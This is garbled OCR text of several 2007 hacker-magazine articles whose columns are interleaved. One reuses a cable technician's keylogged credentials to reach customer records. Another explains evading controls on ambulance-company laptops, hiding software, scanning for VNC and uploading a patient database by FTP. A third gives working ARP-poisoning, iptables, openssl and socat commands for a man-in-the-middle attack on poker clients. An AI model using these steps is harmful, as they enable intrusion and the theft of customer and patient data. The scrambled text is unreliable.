v u l nerab i l ity at Ti me Warner Cab le i n  the author izat ion l ogi n .  I t ' s  hashed of cou rse, but  
hopes that  th i s  l a rge company w i l l  do some- we don't care. Now switch over to te l net and 
th i ng to fix the i r  lax  secur i ty. connect to tech . nyc. rr.com on port 80 . S i m u -

I t  a l l  sta rted w h e n  a Ti me Warner Cable late a web req uest with the fo l l owi ng HTTP 
technic ian  arr ived at my house to f ix i nterm it- commands,  fo l l owed by two new l ines: 
tent downt ime on my cab le  I nternet connec- GET / HTTP / ! . !  

ft k d d Autho r i zat ion : Basic <technic ian ' s  t ion . A er  po i ng a roun  an d i agnos i ng login hash goes here> 
very l i tt le  (my connect ion happened to be u p  Host : tech . nyc . rr . com 

at the t i me), the techn ic i an  sat down at my Congratu lat ions, you ' re a spoof. N ow you 
laptop, opened a b rowser, and sta rted typ i ng.  may wonder what treasu res awa it  u s  on th i s  
N ow I was i n terested . The  tech n i c i an opened myster ious  web page? Not m uch,  but  enough . 
the U RL tech .nyc . rr. com and l ogged i nto the The "tech . nyc. r r.com" page i s  a d i agnosti c  
page us i ng  an  htaccess w i ndow. Now if  you page that shows bas ic  informat ion about a 
were me, wou l dn ' t  you wish  you had a key Ti me Warner customer ' s  account and cab le  
l ogger running r igh t  about now?  Wel l , I keep modem.  The page is t i t led "Servi ceCerti ficate 
a key logger ru n n i ng 24/7 on my laptop, so vers ion  4.0.0" wh ich  i s  not a commerc ia l  
good th i ng you ' re not  me.  He l lo  username product as far as I can te l l  ( someone p lease 
and password, nice to meet you .  correct me i f  you know more) . The page 
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d i sp lays the customer ' s  account  n u mber, 
name, address, and  phone n u m ber. Th i s  
i s  i nterest i ng, because o n l y  the customer 
n ame, address, and phone n u mber a re used 
to authent icate i ncom i ng ca l lers on Ti me 
Wa rner te l ephone support.  Let  the soc i a l  
engi neer ing  beg i n .  

The page a l so i nc l udes t h e  I P  and  Mac 
addresses of the two network i nterfaces on 
the modem: the downstream Ethernet l i n k  
a n d  the u pstream DocS i s  l i nk .  I t  a l so l i sts the 
U B R  hostname that the modem connects to, 
p l u s  stats on u p l oad and dow n l oad band­
width,  the modem upt ime, and  the modem 
f irmwa re vers ion and f i rmwa re fi lename. 
At the bottom i s  an  HTML text box l abe led 
"Comments . "  I d i d n ' t  p l ay wi th  th i s, but  I ' m  
s u re you can th i n k  of someth i ng fu n .  The 
web server i s  ru n n i ng Apache vers ion  1 .3 .2 9  
a n d  P H P  vers ion  5 .0 .2 . D i rectory i ndex i ng i s  
tu rned o n .  

I a l so n oted that t h e  tech n i c i a n  had n ' t  
entered a n y  i nformat ion  about my acco u nt 
before load i ng th i s  page, mea n i ng that the 
server m ust use a referrer address loca l  to my 
locat ion  as  the var iab le  u sed to determ i ne 
what c u stomer account  to d i sp l ay. H mmm, 
th i s  cou l d  be fu n .  Anyone i n terested in  a 
l i tt le war wal k i ng? What ' s  to stop me from 
grabb i n g  my l aptop, wa l k i ng down the street 
and  try i ng th i s  techn ique on any open wi fi 

Hac 

My 
by anonymous 

For the l ast th ree p l u s  years I have worked 
for a competitor to the nat ion ' s  l a rgest pr ivate 
ambu l ance provider, Amer ican Med ica l  
Response. I . i ke most peop l e  i n  the i ndustry I 
have learned to l oathe th i s  monster for its a l l · 
too-corporate bus i  ness strategies and  its over­
whe l m i ng quest for h igher profits - often at 
the expense of rel i ab le  qua l i ty perso n nel  and  
equ i pment.  Recent ly I comp l eted my para­
med ic  i nternsh i p  with a paramed ic  preceptor 
who works for AMR and I was treated to some 
i ns ide i nformation  wh i le i nter n i ng.  Hav i ng a 

n ode, thereby g lea n i ng the account  n u mber, 
customer name, address, and  phone n u m ber 
for that con nect ion?  My i ndefatigab le  mora l  
compass? a h  yes, I forgot about that. 

N ow comes the open l etter to Ti me Warner 
Cab le :  

Dear Newbs, 
Here are some tips on how to improve 

your security. 
First, don 't send passwords to servers as 

clear text even if i t 's hashed. That 's what SSL 
is for. 

Second, does the expression "honey pot " 
mean anything to you ? Prohibit your techni­
cians from using customer computers to log 
into anything. Physical access is inherently 
insecure. Write that on the board a hundred 
times until you memorize it. 

Next, don 't include an entire customer 
account dossier on any web page, password­
protected or not. If you don 't understand why 
this is bad practice, well then I can 't  explain 
it to you. 

Finally, don 't use network addresses as 
authentication variables of any kind. This is 
trivial to spoof and exploit, particularly in the 
age of open wifi nodes. 

Oh, and please fix the intermittent down­
time on my cable connection because it 's still 
busted. 

M 'kay thanks. 

tec h n i ca l  background,  my ears perked u p  
when th i ngs were be i ng d i scussed a n d  m y  
preceptor h a d  no q u a l m s  about lett i ng m e  
poke a round  here a n d  there. I n  th i s  artic l e  I 
w i l l  share what I l ea rned about AM R ' s  f ie ld 
computers d u r i ng my i nternsh i p .  

I n  some regions AMR i s  now ut i l i z i n g  
notebook computers for chart i ng pu rposes . 
A fie ld  chart is d i fferent from a n  i n-hospita l  
chart i n  that i t  conta i n s  a l l  o f  the pat ient ' s  
b i l l i ng i nformat ion a s  part o f  the med ica l  
record recorded by  med ica l  personne l .  I n  
other words, p rotected persona l  i nformat ion  
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is gathered and recorded by the EMTs and bei ng deployed i n  the f ie ld constant ly  they 
paramed ics  that operate on the ambu lance.  cou l d  not be part of a doma i n-based network. 
Th i s  i nformation is then transmitted e lectron i - Th i s  posed a rea l problem i n  t ha t  Superv i sors 
ca l l y to an  ODBC database that the compa- and IT staff needed m uch more access to 
ny's b i l l i n g  department accesses v ia  da i ly the mach i ne than AMR was w i l l i ng to a l l ow 
q uer ies and assemb l es i nvoi ces from the data thei r f ie ld emp loyees to h ave. So someone 
gathered. Because acceptab le  l eve l s  of secu- poked a round  o n  the I nternet and found  that  
r i ty a re typ ica l ly more expens ive than l ower by rep lac i ng the actua l  user G PO fi l e  you 
l evels ,  AMR has, in its corporate w i sdom, can i m p lement d i fferent secur i ty measu res 
chosen the l atter of the two. Let ' s  explore. for d ifferent users.  Bas ica l l y, you c reate two 

The computers used i n  the f ie ld as of the d i fferent G PO fi l es, one o l der than the other 
t i m e of my i n ternsh i p were a l l ltro n i x GoBooks.  and hav ing  t ighter secur i ty, and swap them 
The company i n i ti a l l y  purchased GoBook around l i ke th i s :  Log on as a n  adm i n i strator 
I 's (the fi rst generat ion) ,  and has p u rchased and p l ace the newer and l ess secured G PO 
wh ichever model was most c u rrent ever s i nce named regi stry. po l  in the c : \wi ndows\ 
then. The l atest model i s  the GoBook I I I , but ... system32\GroupPo l i cy \ U ser\  d i rectory. 
there are p l enty of Go Book l is  sti l l  arou nd .  N ext, l ogon u nder each of  the u sers you want  
H ardware specs are ava i l ab l e  at http ://www. to give more access to ( i .e . ,  s uperv i sors and 
... i t ron ix .com and  http ://www.gobook i i i .com/ IT  personne l ) .  Then,  logon as the adm i n  aga i n  
.. gb3/featu res .h tm.  The i nterest i ng  hardware and move the G PO to a d i fferent fo lder and 
components i n c l ude B l uetooth capa b i l ity rep l ace i t  with the o lder reg i stry. pol  fi l e  with 
( l eft act ive and u nsecu red), 802. 1 1 big (AMR more sec u r i ty. When the Supervisor and  IT 
typ i ca l ly orders on ly 802. 1 1 b ch i psets) ,  and u sers are l ogged on with the o lder G PO i n  
CRMA cel l u la r  frequency cards . The C RMA p l ace i t  is ignored because the pol ic ies that 
cards are the PC cards ava i l ab le  from wi re- are cu rrent ly  app l i ed a re newer than the 
l ess provi ders such as C i ngu la r  and Ver izon .  ones in  the c u rrent G Po. The standard users 
AMR uses both compa n i es for mob i l e  I nternet however are never l ogged on with the newer 
access in d i fferent reg ions depend ing  on pol i cy in p lace so they i m p l ement the o l der, 
wh ich prov ider has the best coverage for a more sec u re po l icy. Of cou rse, these pol i ­
given area. The cards a re housed i nterna l l y  c i es a re typ i ca l l y  very poor ly  managed and 
and connect to an  externa l  anten na  mou nted there i s n ' t  a who l e  l ot you ' d  rea l l y  care to 
on the screen port ion  of the case. We ' l l  come do that a c reative m i nd won ' t  f igu re out  how 
back to th i s  dev ice l ater for a d i scuss ion of to accom p l i s h .  I n stead of brows i ng d i rec­
the secur i ty ho les i t  p resents. tories to l a u nch p rograms c reate shortcuts 

AMR u pgraded these u n its to Windows on the desktop.  And s i nce you can a lways 
XP o n l y  over the l ast year or  so. The offic i a l  c reate a new text fi l e  on  t h e  desktop you 
exp lanat ion was that they feared W i ndows have comp l ete freedom in wr i t i ng  batch and 
XP wou l d  somehow not support the Access Windows Script fi les to do you r  b idd i ng. 
Database front-end they use for chart i ng.  Because AMR does n ' t  l i ke the i r  emp loyees 
What I fi nd so amus i ng  about th i s  is that they goofi ng off o n  the c l ock  they a l so i nsta l l  
p u rchased a W i ndows X P  Profess iona l  l i cense ContentWatch to restr ict I nternet use. Th i s  
w i t h  every GoBook I I I  and t h e n  re l ied on  serv ice works by restr ict ing webs i tes based 
thei r Wi n2K corporate l i cense for the actua l  o n  the i r  categor ization  i n  a database obta i ned 
as l i censu re. However, when they switched from a n  I n ternet server. A user l ogs o n  with a 
to Wi nXP they actua l l y  p u rchased a corpo- username and password and the i r restr ict ion 
rate l i cense to cover a l l  of the computers that l i st i s  dow n loaded. Each s i te v i s i ted by I nternet 
they a l ready had l i censes for !  Th is ,  of cou rse, Exp lorer is compared aga i n st a database that 
means you stand a good chance of be i n g  categori zes s i tes based u p o n  content (e.g., 
able to use the Wi nXP Pro l i cense stuck to shoppi ng, news, persona l ,  adu l t, etc. )  and 
the bottom of the GoBooks wi thout  gett i ng u sers a re o n l y  a l lowed to v iew s i tes wi th i n  
caught.  approved categor ies .  S ites that have not 

N ow, Wi ndows XP Pro i mp lements Active been categor ized can be b locked or  v iewed 
Directory ( D u h) ,  a nd AD has severa l secu rity based upon the i nd iv idua l  user ' s  sett i ngs that 
po l i c ies that can be i m p lemented to l i m it the a re app l ied by the i r  adm i n i strator. S i nce the 
access u sers have, but you need a Domain restrictio n  l i sts a re dow n loaded each t ime a 
Controller supp ly ing  the Group Pol icy user l ogs on I have not fou n d  a way to get 
Object in order to have d ifferent po l ic ies a round  this part i cu l a r  h u rd le. It 's not that I 
app ly  to d i fferent u sers.  With the computers wanted to down l oad porn . I j u st wanted to 
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use MySpace and "persona l s "  a re restr icted. MSACCESS .EXE .  Th i s  i s  n ice in that i t  stores 
The best way to overcome th i s  wou l d  be configurat ion data, i n c l u d i ng what ports the 
to snag a supervi sor's password s i nce they p rogram uses for sen d i n g  and receiv ing  i n  
have free access o r  to fi nd a way to k i l l  the these tab les .  B rowse around and figu re out  
progra m .  Th u s  far I have been unsuccessfu l what ports a re c u rrent ly be i ng u sed and query 
in k i l l i ng i t, but I never tr ied too hard either. the resu l ts of you r  port scan for addresses with 
Of cou rse, i f  you ' re brave and don ' t  mind a both the MEDS port and port 5 900 open . Any 
traceab le  approach you cou l d  a l ways down- computers you fi nd  w i l l  l i ke ly  be AMRs.  
l oad F i reFox v ia  a te l net ' d  FTP connection .  Exp lor ing MEDS even more tu rns  u p  a few 
If you i n tend to do th i s  I suggest b u ry i ng the other i nteresti ng l i tt l e  qu ips .  The data entered 
program fi l es deep in the d i rectory structure i nto M EDS is stored in separate access tab les 
and l a u n c h i n g  v ia  an u nassu m i ng scri pt i n  with a PCR 1 0  referenc i ng the i nd iv idua l  chart 
the system32 or some other c logged d i rec- each p iece of i nformat ion is associated wi th .  
tory. You m ight a lso want  to  d ig  the  u n i nsta l l  For i n stance, there i s  a tab le  t i t led MED_C that 
data out of the reg i stry so i t  does n ' t  show conta i n s  the l i st of patient  med icat ions typed 
up on the "Add/Remove Programs" contro l i n  by a user (med i cat ions  selected from a 
pane l . See, they ' l l  trace the t ime stamp of drop down l i st a re stored i n  a separate tab le ) .  
the program d i rectory back to who was u s i ng Each row has th ree col u m n s .  The fi rst col u m n  
t h e  computer on  that date a t  that t i me, and i s  the defa u l t  Pr imary Key and inc reases by a 
unfortu nate ly  the system c lock is fa i r l y  we l l  va l ue of one i n  each row, the second col u m n  
protected .  i s  t h e  i n d iv idua l  P C R  1 0  ( un ique o n l y  on  

Movi ng on to  the  ever more i nterest ing  that  computer), and the th i rd i s  the  actua l  
sect ion where w e  d i scuss t h e  CRMA P C  cards text entered by a user. So to fi nd a pat ient ' s  
a n d  how they access the I nternet. The region persona l  i nformat ion you need on ly run  a 
I am most fam i l i a r  with used C i ngu la r  as a query of the appropriate tab l es and match the 
w i re l ess prov ider and Sony GC83 E D G E  PC patient ' s  n ame, date of b i rth,  address, phone 
cards .  I ' m  not s u re why, but  they refuse to use n u mber, and Soc i a l  Secu rity N u mber based 
the most recent fi rmware vers ions .  Rumor on the PCR 1 0. I t  shou l d  be noted that  fa i l u re 
h as it someone somewhere had a prob lem to protect t h i s  i nformat ion from u n authorized 
with a f i rmware vers ion and had to down- u sers (wh ich  i n c l udes a n  EMT or  paramed i c  
grade t o  f i x  the p rob lem .  O f  cou rse, two or a uthor ized to use the system but  not autho­
th ree new vers ions have come out s i nce then r ized to v iew data entered by a nother user) is 
and AMR has yet to u pgrade to the newer a v io lat ion of federa l l aw - reference H I PAA 
vers ions .  What I fi nd particu l a r l y  i nterest i ng § 1 64 . 3 08 (a)(4), wh ich  states that users m u st 
is that the C i ngu la r  network i ssues C lass C be prevented from access i ng sensi t ive e lec­
addresses . Coup le  th i s  with the use of Rea l tron ic  data they do not need to access i n  
V N C  o n  every AM R computer a n d  you have a order to perform the i r  d ut ies .  Bas ica l l y, you 
gap i ng secur i ty ho le .  I f  someone were to snag shou l d  not be able to v iew pat ient data you 
the company password ( I  be l i eve they have d id  not persona l l y  enter, but  you can . Bu t  to 
on ly  two passwords - one for workstat ions rea l l y  get at the data i t's best  to j u st stea l the 
and one for servers) they cou l d  s n iff around whole database, someth i ng e l se you shou l d  
t h e  C i ngu la r  network, ass u m i ng they have defi n i te l y  not be ab le  to do. A standard user 
a C i ngu l a r  card and are in the same region,  can run  tel net, open a con nect ion to an  
and fi nd  a computer with port 5 900 open. FTP server, and up load "C: \ Program F i les\  
The advantage to the IP  address i ng scheme MEDS \ M E DS . mdb" (somet i mes the fi le  name 
bei ng C lass C, for those who haven ' t  figu red i n c l udes a vers ion n u m ber) . O lder vers ions  of 
it out, is that you s ign i ficant ly  d i m i n i s h  the M E DS c reated a fi le  in the root d i rectory t i t le  
n u m ber of IP  addresses you have to scan to " PCRDATA" with no fi l e  extens ion .  Th i s  fi l e  
fi nd a n  AMR computer. Bu t  there i s  another had a l l  of the PCR data on the system in p l a i n  
way you c a n  i so l ate a n  A M R  computer o n  text, another grievous H I PPA v io lat ion .  Today 
th i s  network.  the fi le  i s  encrypted, a step that took only fou r  

A s  prev ious ly  ment ioned, A M R  uses a n  or five years t o  i mp lement .  
Access Database front-end devel oped in- As you can see by doi ng th i ngs i n-house 
house to chart pat ient data . They have du bbed and u nder b udgeti ng the i r  p rojects AM R has 
the p rogram MEDS. I t  stands for M u l ti - EMS l eft themselves open to some pretty cost ly  
Data System .  The database i s  u nencrypted so l awsu its .  With  the pr ivate ambu l ance i nd ustry 
any user can poke arou nd  in a l l  of the tab les, beco m i ng more and more competi t ive, they 
prov ided they can figu re out how to l a u nch have rea l ly taken some b ig  chances with th i s  
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program .  Consider the fact that some states 
have mandated p u b l i c  report ing of sec u rity 
breaches in p u b l i c l y  traded compa n i es, m i x  
i t  with the genera l l y  very competit ive p u b l i c  
b i d d i n g  process that E M S  agenc ies a re typ i ­
ca l ly requ i red to  go through every few years 
for thei r ambu lance prov ider contracts, and 
th row in  a l i tt l e  i n du stri a l  esp ionage . . .  see 
where I ' m  go i ng? AMR has opened i tself to 
s i m p l e  esp ionage tact ics  by mak ing  it i ncred­
i b l y  easy for a corporate spy to get h i red on 
as a field employee, stea l protected persona l  
data stored o n  a f i e ld  system, and let i t  be 
known that the data was sto len .  AMR wou l d  
then b e  requ i red t o  contact every person 
whose person a l  i nformat ion was compro­
m i sed and i nform them of such and make a 
p u b l i c  annou ncement reporti ng the breach .  
Someth ing  of  that  nature happe n i n g  dur ing 
a contract b id  wou l d  be devastati ng  to the 
company, wh ich  i s  a l ready los ing b ids across 
the nation .  

That ' s  pretty much a l l  o f  the  good ies I 
p icked u p  regard i ng the computers, but here 
are some fu n veh ic l e  facts for those of you 
u nfortunate enough to be work ing  for the 
g iant: 

1 .  I f  you ' re t i red of heari ng  the seat belt 
rem i nder d i ng at you a l l  the time you can 
d i sab le  the Ford " Be l tM i nder" featu re q u i te 
eas i l y. S i mp ly  turn the ambu l ance off, keep 
a l l  of the doors c losed, set the park ing  brake, 
turn  off the head l ights and do the fo l lowi ng: 
I n sert the key and turn  it forward to the fi rst 
posit ion, but do not start the car. After about 

a m i n ute the l ittl e  guy wear ing  h i s  seat belt  
l ight w i l l  appear on the c l u ster pane l  (dash­
board) .  You now h ave 3 0  seconds to buck le  
and then u nbuck le  you r  seat belt  ten  t i mes. 
After the tenth t ime the l ight w i l l  f lash fou r  
t i mes i n d i cati ng the fu nct ion h a s  been 
d i sab led.  N ow buck le  and u n buck le  one 
more t ime.  Congrats, i t  w i l l  n ow l eave you 
a lone.  Each year i s  d i fferent so p l ay a rou nd 
with it .  I fou nd th i s  i nformat ion on Google, 
so you shou ld  be ab le  to as wel l .  Sorry for 
those who have RoadSafety. Th i s  won 't work 
for you . 

2 .  If you don ' t  l i ke bei n g  d i nged at for 
hav i ng the door open, or h av ing  the l ight 
on, it 's p retty easy to d isab le  th i s  featu re too. 
F i rst, you shou l d  know that when the door 
is open the c i rcu i t  i s  closed by the door p i n .  
S o  d i scon necti ng t h e  door p i n  w i l l  make the 
veh ic le  computer th i n k  the door i s  a l ways 
c l osed . To do th i s, j u st pu l l  rea l l y  hard (I was 
ab le  to do i t  with bare fi ngers) on the door p i n  
itself. When i t  comes o u t  s i m p l y  d i scon nect 
the w i res and then re i nsert the p i n  i nto the 
door jam .  Done. 

3. F i n a l l y, to shut up that l ady who b l abs at 
you wh i le you ' re backing  up j u st take a l ook 
at the l i tt l e  speaker beh ind  the dr iver ' s  head.  
On one s ide i s  a t i ny l itt le  switch .  F l i p  it and 
she ' l l  be no more. 

None of these l i ttl e  workarounds  damages 
or  vanda l izes the veh i c le in anyway, so have 
at it. And for God's sake, fi nd a company with 
a sou l to work for. Peace! 

HOPE NUMBER SIX 
I f  you m i ssed o u t  o n  o u r  l atest confe rence (or if you 

were t h e re a nd s o m e h ow m a n a g ed to m i ss  o n e  of the 

m o re tha n 70 ta l ks g iven), may we s u g gest g ett i n g  

a h o l d  o f  o u r  H O P E  N u m be r  S i x  DVD s ? 

The re's no way we ca n l i st t h e m  a l l  h e re but  if you go to 

http ://sto re . 2600.com/hopen u m be rs i x . h t m l you' l i g et a 

se n se of what we're ta l k i n g a bout .  

We sti l l  have l eftover s h i rts too.  For  ? 20 you get a 

H O P E  s h i rt, a co nference ba d g e, a conference p rog ra m,  

and a H O P E  st i c ker .  Ove rsea s a d d  ?5  fo r s h i p p i n g .  

2600 

PO Box 752 

M i d d l e  I s l a n d ,  NY 1 1 9 53 U SA 
Spring 2007---------------------



O n l i ne Poker So 
by John Smith Rootk i ts are 

A lthough we most often assoc iate SSL based rootkits for U N IX and Windows wh ich  
(Sec u re Sockets Layer) or  TLS (Transport can be made to red i rect network traffic to an 
Layer Secur i ty)  with "sec u re" vers ions  of our attacker. I n secu re routers are another opt ion;  
favor i te I nternet serv ices (HTTPS, IMA PS, that  L i n ux router the neighborhood geek 
SMTPS), i t  can be u sed to secu re arbi trary set up for pizza and coke looks l i ke d j u i cy 
a pp l i cat ions .  I n  fact, it is used q u i te often target. . . .  
i n  t h e  o n l i ne gam b l i ng wor ld t o  secu re the M y  traffic red i rect ion so l ut ion i nvo lved a 
connect ion from the game c l ient  to the game Per l  scr ipt tor Nemes is, wh i ch i nj ects u n so­
server. U nfortunate ly  i t  i s  often u sed in an l i c ited ARP requests, and i ptab les packet 
i ncorrect man ner, wh ich  l eaves i t  open to mang l i n g  to rewrite the desti nat ion server I P  
man- i n -the-midd le  attacks, where a n  attacker address/port with a l oca l one. A l l  you need 
can read/modify/i nsert the i r  own data i nto the to do i s  f igu re out which IP the poker c l i ent  
con nect ion .  ta l ks to  and rewri te i t  to  you r  wa i t i ng  M ITM 

SSL p rovides methods for endpo i nt ver if i- process.  For examp le, C i ty Poker uses I P  
cat ion  and traff ic pr ivacy for network comm u - 2 00 . 1 24. 1 3 7 . 1 09 port 443. I f  I ' m  ru n n i ng my 
n i cat ions .  Endpoi nt verif icat ion i s  done by socat p rocess on  port 1 0007, the fi rewal l r u le  
va l idati ng  a "peer cert if icate" from the  remote becomes: 
host by check ing  the s ignatu re with a trusted echo 1 > / proc / s y s / net/ ipv4 / ip_forward 

th i rd-party (such as Ver i s ign ) .  Traffic I)r ivacy I sbin/ iptab l e s  --policy FORWARD ACCEPT 
, iptab l e s  -t nat -A PREROUTING -p tcp 

u ses symmetr ic  c i phers to encrypt/decrypt --d 2 0 0 . 1 2 4 . 1 3 7 . 1 0 9  - -dport 4 4 3  _ 

data between the two hosts. - j  \ REDIRECT --to-port s 1 0 0 0 7  

Traffic pr ivacy i s  obv ious  - you don ' t  want The f i rst two l i nes a l low us  t o  forward 
someone with a sn i ffer to see you r  passwords traffic and the th i rd l i ne i s  o u r  fi rewa l l  ru le .  
or  c red i t  card n u m ber when you ' re order i ng Man-in-the-Middle Process 
you r  2600 subscr ipt ion .  E ndpo i n t  verif ica- A lthough we can ro l l  ou r  own man- i n -
t ion  i s  extremely  i mportant a l so, but  many  the-m idd le  process, I chose to  use socat 
deve lopers (obv ious ly) don ' t  th i n k  of it. I n  for s i mp l i c i ty. I f  you ' re go i ng to write you r  
fact, t h e  endpo i n t  verif icat ion i s  exact ly  what own, you s i m p l y  need to have i t  l i sten for 
p revents man- i n -the-midd le  attacks - if the SSL con nect ions  o n  one s ide and esta b l i s h  
peer ( remote server) that i s  b e i n g  connected them on the other. You w i l l  need to generate 
to can ' t  be verif ied, then the c l ient  shou l d  a fake server cert i ficate that w i l l  be g iven  to 
q u it .  U nfortu nate ly, th i s  opt ion is tu rned off the c l ient  - se lf-s igned/exp i red does n ' t  matter 
oy defa u l t !  Any c l ient software that has th i s  s i nce the c l ient i sn ' t  check i n g !  Here are  the  
f law can then be attacked. commands to generate a se lf-s igned cert i f i -

The man- i n -the-midd le  attack cons ists cate, and to set up socat to perform the MITM 
of th ree steps: red i rect ing  network traffic, logg i ng data in c leartext to stdout: 
answer i ng requests from the c l ient  o n  behalf ope n s s l  reg -x5 0 9  -nodes -newkey 

of the server, and  a nsweri ng requests from the -rs a :  1 0 2 4  -days 365 -keyout 
- f akecert . pem \ -out f akecert . pem 

server on beha l f  of the c l ient .  I chose to u se socat -v -x open s s l - l isten : 1 0 0 0 7  , cert 
ARP-cache po iso n i ng and i ptab les mang l  i ng -ific ate= . I f akecert . pern , ver ify=O , fork 

for the red i rect ion,  and socat to actu a l l v -\ open s s l : 2 0 0 . 1 2 4 . 1 3 7 . 1 0 9 : 4 4 3 , ve rify=O 

execute the man- i n-the-m idd le  attack. 
'
I -2>& 1 I tee . I ci tyPokerCapture . txt 

managed to b reak Vi rg i n  Poker, and C i ty When generat i ng  the cert i fi cate, I just 
Poker ' s  c l i ent, v i ew i ng a l l  c l ient-server traffic chose a l l the defa u l ts .  The "-nodes" argument 
in clear text. means you don 't  want to enter a passph rase 

Traffic Redi rection (password) for the key. The soeat l i ne sets u p  
Gett ing  network traffic from the v ict i m  i s n ' t  an  openss l - l i sten socket on  port 1 0007 with 

too hard .  I f  you ' re on  the same LAN you can the fake cert i ficate we generated above. 1 1  
use ARP  cache poiso n i ng o r  DNS h i jack i ng. w i l l  log packets to stdout ("-v -x" a rguments)  
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and estab l i sh  an openss l  con nect ion  to the 
real game server without ver ify i ng the peer 
cert i ficate (verify=O) .  

You shou ld  now be ab le  to fi re u p  the 
poker c l ient  and see a n ice c 1eartext vers ion  
of  everyth ing  ru n n i ng between the  c l ient and 
server. 

Conclusions 
wrote a too l to check for expi red/self­

s igned cert i ficates and scan ned 645 SSL ports 
on a /1 9 n etwork wel l  known for host i ng  
gam b l i ng-re lated s i tes.  I t  found  3 04 ports that 
were m i sconfigu red and a re therefore open 
to th i s  type of attack.  Some compa n i es do th i s  

Implications the r ight way - Party Poker, for examp le, ver i -
My or ig i na l  motivat ion was to take a fies the peer  cert i ficate and checks the subject 

look at poker protocols, to see how "chatty" name in the c l ient .  
they are and what i nformatio n  i s  transferred . Th i s  f law i s  actu a l l y  q u ite easy to f ix .  On 
For  examp le, what  if  the protocol des igner the c l ient  s i de, deve l opers shou ld  a l ways va l i ­
thought i t  wou ld  b e  O K  i f  a l l  o f  a p layer's date the peer cert if icate (at l east in produc­
"ho le  cards" (two cards dea l t  before the fi rst t ion ! )  and servers shou ld  have SSL cert i f icates 
rou n d  of bett i ng) were sent to each c l ient s i gned by rea l CAs .  Protocol devel opers 
before the hand bega n .  We can reverse eng i - shou ld  always assume that the protocol  can 
neer  the protoco l  and see what  the command be v iewed and  treat i n put  from the c l ient  
structu re i s  l i ke .  I s  there a debug mode or  as ta i nted. Data shou ld  be checked wi th  a 
spec i a l  adm i n  com mands that we can send?  defa u l t  reject po l i cy - even though the c l ient  
The server process now loses any c l ient-s ide and server were wr i tten by the same team, 
fi l te rs for th i ngs l i ke data lengths and types. that doesn't mean you shou ldn't san i t ize data 
Can you say "fuzzer?" before us i ng  it .  

Snippet of data from City Poker dealing the turn card: 
< 2 0 0 6 / 0 9 / 0 7  1 3 :  5 1 :  2 1 . 1 6 2 3 3 1  1ength= 1 1 4  f rom= 1 8 9 6 4  to= 1 8 9 6 3  

0 0 0 0  0 0  2 2  0 0  0 1  3 3  0 8  3 2  3 5  3 6  3 5  3 2  3 1  3 4  3 0  • • •  " • •  3 . 2 5 6 5 2 1 4 0  
0 0  0 0  4 d 0 0  4 4  6 5  6 1  6 c  6 9  6 e  6 7  2 0  7 4  7 5  7 2  6e • •  M . Dealing turn 
2 e  00 4 c  0 0  39 00 00 00 00 48 00 0 2  31 3 7  08 32 • •  L . 9  • • • •  H • •  1 7 . 2  
3 5  3 6  3 5  3 2  3 1  3 4  3 0  0 0  0 0  S f  4 4  0 0  4 2  6 f  6 1  7 2  5 6 5 2 1 4 0  • •  _D . Boar 
64 20 63 61 72 64 73 20 5 b  51 68 20 54 63 20 35 d cards I Oh Tc 5 
64 2 0  4b 63 5d 00 43 32 00 3 1  36 00 43 30 00 33 d KC j . C 2 . 1 6 . C O . 3  
3 6  0 0  4 3  3 3  0 0  3 1  3 1  0 0  4 3  3 1  0 0  3 8  0 0  S f  4 c  0 0  6 . C 3 . 1 1 . C 1 . 8 . _L . 
H 0 0  9 .  

Snippet of data from Virgin Poker client doing a ping and reply: 
< 2 0 0 6 / 0 8 / 0 9  0 8 : 3 6 : 3 2 . 4 1 4 7 2 3  length= 1 7  f rom= 4 9 2  to=4 9 1  

5 0  4 3  4 b  5 4  0 1  0 0  0 0  0 0  0 0  0 0  0 0  1 1  5 0  6 9  6 e  6 7  PCKT • • • . • • • •  Ping 
0 0  

> 2 0 0 6 / 0 8 / 0 9  0 8 : 3 6 :  3 2 . 4 3 9 2 8 7  length= 1 7  f rom= 8 6 4  to= 8 6 3  
5 0  4 3  4 b  5 4  0 1  0 0  0 0  0 0  0 0  0 0  0 0  1 1  5 0  6 9  6 e  6 7  PCKT • • • • • • • •  Ping 
00 



Oorlof mijn arme schapen 
Die zijt in groten nood 
Uw herder zal niet slapen 
AI zijt gij nu verstrooid! 
The above is from " H et Wi l h e l mus" 

(the D utch nat iona l  a nthem), verse 1 4 . 
I t's a concept and it does n ' t  trans late wel l  
to Engl i s h .  "Hacker" i s  a concept about 
concepts. Unfortu nate ly  i t  does n ' t  trans l ate 
we l l  to any l anguage. My l i fe is about turn i ng 
concepts i nto usefu l products. A hacker does 
that and m uch more. Let ' s  get to i t .  

In  the 60s,  AT&T ran a n  ad campa ign :  
"The te lephone i s  not  a toy. " Tha n k  you AT&T! 
Vietnam, L BJ, the Cold War, and so on . . .  
everyth i ng was a l i e .  S o  the te lephone m ust 
be the best toy ever i nvented ! Is a greater 
u nderstatement poss ib le? 

I a lways wanted the other end to hang u p  
fi rst s o  I cou l d  hear what i t  sou nded l i ke .  That 
l i tt le  " p l i ek" tra i l i ng off i n  the background 
was  fasc i nat ing .  I rea l i zed i t  m u st p l ay the 
major ro l e  in mak ing and ma i ntai n i ng the 
" l ong d i stance" ca l l .  Soon I cou ld  wh ist le  i t  
and see what  it  cou l d  do - before the Quaker 
Oats wh i st le  and 800 n u m bers. 

My ear ly  exper i mentat ion was o n l y  to 
p laces my pa rents cal led .  They o n l y  l ooked at 
the "p lace" on the b i l l  Jnd i f  I had an "acc i ­
dent," tha t  was s i mp ly  i t  for the day. 

There was more, so m uch more.  Some­
t i mes after p lac i ng a "to l l  ca l l "  (a type of 
loca l  ca l l) I ' d  hear the n u m ber I p u l se-d ia led 
p u l se-d ia led a second t ime .  There were beeps 
associ ated with th i s .  Other ti mes I wou l d  
hear beeps that sou nded l ike steel d r u m s .  I 
l oved the "drums"  and q u ick ly  rea l i zed th i s  
was n ' t  mus i c  but com m u n i cations !  (They 
were MF tones, to be prec ise . )  I was on  to 
someth i ng. The " u l tra-modern" phone system 
was us i ng  the same tech n i que  the p r im i t ive 
" B ush peop le"  had used for generat ions .  It 
was obv ious  tones were te l l i ng the other end 
what to do whether I heard i t  or  not .  How did 
they do i t? "Ask and you sha l l  receive . "  When 
everyth i ng seemed to be a l ie, that b i b l ica l  
verse was to be the truth . The l i tt l e  brat was 

becom ing  an operator and  l earn i ng how to 
soc i a l  engi neer. Soon, the secret was m i ne .  

Best of  a l l ,  I was  to d i scover I was n ' t  a l one .  
There was th i s  k id  i n  s i xth grade named Dan 
N .  H e  was  the shortest k id  i n  the c l ass but  
very strong and nobody messed with h i m .  
